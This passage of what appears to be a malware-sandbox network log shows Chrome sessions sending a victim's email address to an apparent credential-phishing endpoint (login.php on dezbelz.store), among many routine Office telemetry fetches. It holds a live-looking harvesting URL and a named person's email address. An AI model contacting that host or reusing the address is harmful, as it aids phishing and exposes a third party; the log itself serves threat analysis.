2024-10-23 19:04:21 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:21 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 7898325b-901e-00ac-11c9-20b69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190421Z-r1755647c66sn7s9kfw6gzvyp000000008hg00000000b9bg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:21 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.6	49846	63.250.38.7	443	3492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:21 UTC	633	OUT	POST /gesp/xls/login.php HTTP/1.1 Host: dezbelz.store Connection: keep-alive Content-Length: 31 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/javascript, /; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-23 19:04:21 UTC	31	OUT	Data Raw: 61 69 3d 6d 61 74 74 2e 73 69 62 69 6c 6f 25 34 30 61 6c 67 6f 6d 61 2e 63 6f 6d 26 70 72 3d Data Ascii: ai=matt.sibilo%40algoma.com&pr=
2024-10-23 19:04:22 UTC	570	IN	HTTP/1.1 200 OK keep-alive: timeout=5, max=100 x-powered-by: PHP/8.1.29 set-cookie: PHPSESSID=tl4o2g24k2v1t7q1hp1mou4rrs; path=/; secure expires: Thu, 19 Nov 1981 08:52:00 GMT cache-control: no-store, no-cache, must-revalidate pragma: no-cache access-control-allow-origin: * access-control-allow-methods: POST, GET, OPTIONS access-control-allow-headers: Content-Type, Authorization, X-Requested-With content-type: application/json content-length: 63 date: Wed, 23 Oct 2024 19:04:21 GMT server: LiteSpeed x-turbo-charged-by: LiteSpeed connection: close
2024-10-23 19:04:22 UTC	63	IN	Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 65 72 72 6f 72 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 45 6d 61 69 6c 20 61 6e 64 20 70 61 73 73 77 6f 72 64 20 61 72 65 20 72 65 71 75 69 72 65 64 2e 22 7d Data Ascii: {"status":"error","message":"Email and password are required."}

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.6	49845	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:21 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:21 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:21 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: ef02ab36-401e-0064-3bb0-2054af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190421Z-r1755647c66l72xfkr6ug378ks00000007n0000000000ywc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:21 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.6	49848	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:21 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:22 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:21 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 28cefb6f-601e-003d-6a50-236f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190421Z-17fbfdc98bbl89flqtm21qm6rn000000066g0000000089uf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:22 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.6	49847	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:21 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:22 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:22 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 816a6405-301e-001f-06d8-21aa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190422Z-r1755647c66fnxpdavnqahfp1w00000006u0000000007wpv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:22 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.6	49851	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:22 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:23 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:22 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: c2ed4d23-701e-0098-0959-23395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190422Z-17fbfdc98bblvnlh5w88rcarag00000006d000000000198n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:23 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.6	49849	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:22 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:23 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:23 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: db2454a4-901e-008f-72b1-2067a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190423Z-r1755647c66kmfl29f2su56tc400000009a000000000af4e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:23 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.6	49850	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:22 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:23 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:23 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: ee1afe0a-301e-0052-2b50-2365d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190423Z-17fbfdc98bbvcvlzx1n0fduhm0000000068g000000006dkg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:23 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.6	49854	63.250.38.7	443	3492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:23 UTC	355	OUT	GET /gesp/xls/login.php HTTP/1.1 Host: dezbelz.store Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-23 19:04:24 UTC	570	IN	HTTP/1.1 200 OK keep-alive: timeout=5, max=100 x-powered-by: PHP/8.1.29 set-cookie: PHPSESSID=62m0fbatil19rqlqqt70iev85b; path=/; secure expires: Thu, 19 Nov 1981 08:52:00 GMT cache-control: no-store, no-cache, must-revalidate pragma: no-cache access-control-allow-origin: * access-control-allow-methods: POST, GET, OPTIONS access-control-allow-headers: Content-Type, Authorization, X-Requested-With content-type: application/json content-length: 63 date: Wed, 23 Oct 2024 19:04:24 GMT server: LiteSpeed x-turbo-charged-by: LiteSpeed connection: close
2024-10-23 19:04:24 UTC	63	IN	Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 65 72 72 6f 72 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 45 6d 61 69 6c 20 61 6e 64 20 70 61 73 73 77 6f 72 64 20 61 72 65 20 72 65 71 75 69 72 65 64 2e 22 7d Data Ascii: {"status":"error","message":"Email and password are required."}

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.6	49853	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:23 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:23 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:23 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 106adab5-b01e-0001-11da-2046e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190423Z-r1755647c66zkj29xnfn2r3bwn00000005u0000000003x9x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:23 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.6	49852	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:23 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:23 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:23 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: e682fb07-001e-00a2-2ae3-20d4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190423Z-r1755647c66dj7986akr8tvaw400000007z0000000001vb4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:23 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.6	49856	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:23 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:23 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:23 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 4c920d0e-c01e-008d-4cca-202eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190423Z-r1755647c66lljn2k9s29ch9ts00000008k0000000009wwg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:23 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.6	49855	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:23 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
